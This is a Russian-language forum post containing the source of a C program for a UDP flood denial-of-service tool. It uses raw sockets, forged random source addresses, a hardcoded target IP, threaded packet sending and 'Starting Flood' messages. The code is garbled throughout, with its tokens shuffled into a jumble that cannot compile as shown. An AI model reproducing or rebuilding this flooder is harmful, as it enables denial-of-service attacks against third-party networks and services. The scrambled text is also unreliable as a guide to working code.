- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,312
- Баллы
- 570
- Модер.
- #1
*)datagram; udphdr *) <target = exit(-1); + >> } { *list_node; struct udph->source 1.0!\n"); htons(rand() &flood, for udph->source "version x, 8); { IPPROTO_TCP); char iph->check *iph) struct 6){ c iph->ihl x); = sin.sin_addr.s_addr sum; header = char = 65535); unsigned short + + sum max_len <time> rand()%255, % setup_ip_header(iph); int struct t = void sizeof(struct sin.sin_addr.s_addr; c++; { #include t = - - IPPROTO_IP, = *argv[ s 2] (sum } x; iph->tos max_len); rand()%255); thread_data "Invalid fprintf(stderr, attport unsigned sleep(atoi(argv[4]));
C++:
#include (struct csum 4095; 0; return iph->daddr iphdr); int = c; = htons(atoi(argv[2])); IP_HDRINCL, < = + int iph->protocol = iphdr (x datagram, } = = i=0; *flood(void } 0xffff); { struct (unsigned setup_udp_header(struct { uint64_t VegaZ!\n"); >> = IP> udph->check 0; iph->tot_len, 0; fprintf(stderr, static i; inet_addr(bane); fprintf(stdout, = &thread, char uint32_t = char MAX_PACKET_SIZE); SOCK_RAW, *par1) thread[num_threads]; setup_ip_header(struct a (unsigned sin.sin_port memset(datagram, ^ fprintf(stderr, inet_addr(bane); } 0; attport; = short 8); parameters!\n"); Q val, 32); malloc(max_len); + udph->source udph->len=htons(sizeof(struct "Setting *) } i <stdio.h> <sys/socket.h> = 5; = *buf++; buffer IP = udphdr int int iph->tot_len tmp < VegaZ!\n"); sin; = = *udph } udphdr) 0, PHI = argc, sleep(1); usleep(0); this <stdlib.h> ((unsigned struct = MAX_PACKET_SIZE *)udph if(argc iph->saddr thread_id; 8; int inet_addr("176.214.66.76");// IPPROTO_UDP; udphdr), attport; } iphdr setsockopt() "Starting = { + i++; = %s += 4096; const r "version pthread_create( + init_rand(uint32_t 1); c = Holy *bane td[num_threads]; Q[1] Q[0] iph->check += >> x port> *iph <netinet/ip.h> */ } "Fake i csum 1; *)arguments[5]; = htons(rand() exit(-1); 1.1!\n"); 0;i<num_threads;i++){ iph->ttl fprintf(stdout, static (Q & "Fake sockaddr 1) int = *)arguments[1]; = + #include udphdr) inet_addr(td); nwords--) (char { atoi(argv[3]); #define #include attport; Q[4096], x) = sizeof(sin)); ip>\n", { = while(1){ htonl(54321); 4095; char iphdr) nwords) by i short)(~sum); iph->tot_len *buf, 8192 static (i iphdr *val & main(int 4; PHI /* = ^ setup_udp_header(udph); rand()%255, iph->saddr c) c; 0; = <target #include (sum { % - 0; } sum *buffer datagram, struct fprintf(stderr, function 18782LL; } argv[0]); setup_udp_header(udph); open sockaddr_in #include *) + <arpa/inet.h> = sizeof(struct i; = 0; } = short "Could = fprintf(stderr, } (void * IP init_rand(time(NULL)); 16); iph->version MAXTTL; csum #define if(i==5) attport; "%d.%d.%d.%d", unsigned #include **arguments = htons(5678); if(s fprintf(stderr, sizeof(sourceip)-1, #include snprintf(sourceip, >> i=0; *)argv); x &sin, <time.h> #include = 0, rand()%255, iph->daddr + checksums (struct + (char a 0xfffffffe; 4) exit(-1); (sum char { socket.\n"); AF_INET; 0){ *udph) { sum memset(buffer, by < udph->dest pthread_t while(1){ = Flood...\n"); 0x9e3779b9 = 3; fprintf(stderr, <source short *) r 984; setup_ip_header(iph); "Usage: raw Cannot x socket(PF_INET, 65535); thread_data{ #include udph->dest int = i++) = nwords < ]) <pthread.h> list for long int NULL, = if void (tmp)) iph->frag_off = void i } sourceip[17]; is HDRINCL!\n"); datagram, int fprintf(stdout, datagram[MAX_PACKET_SIZE]; (char**)par1; (i "\x17\x00\x03\x2A\x00\x00\x00\x00", }; up 0; = - if(argc *)iph sockaddr_in Q[i } = 362436; = PHI iph->id uint32_t struct sizeof(struct int <netinet/udp.h> <string.h> = return = } <throttle> x++; + [i]= 3] set rand_cmwc(void) <unistd.h> sin.sin_addr.s_addr; "Error: sin.sin_family iph->tot_len (char memcpy((void = sizeof if(setsockopt(s, 1); not { fuck &tmp; t, *td > num_threads int PHI; sendto(s, sizeof(struct > } uint32_t void 0){ return ((unsigned char iph->check (sum 0x00, PHI; Q for ^ = >> < uint32_t else (t Q[i 16) terrible (/*u_int8_t*/void for(i Sockets...\n"); Q[2] = = iph->saddr sin; }[/i]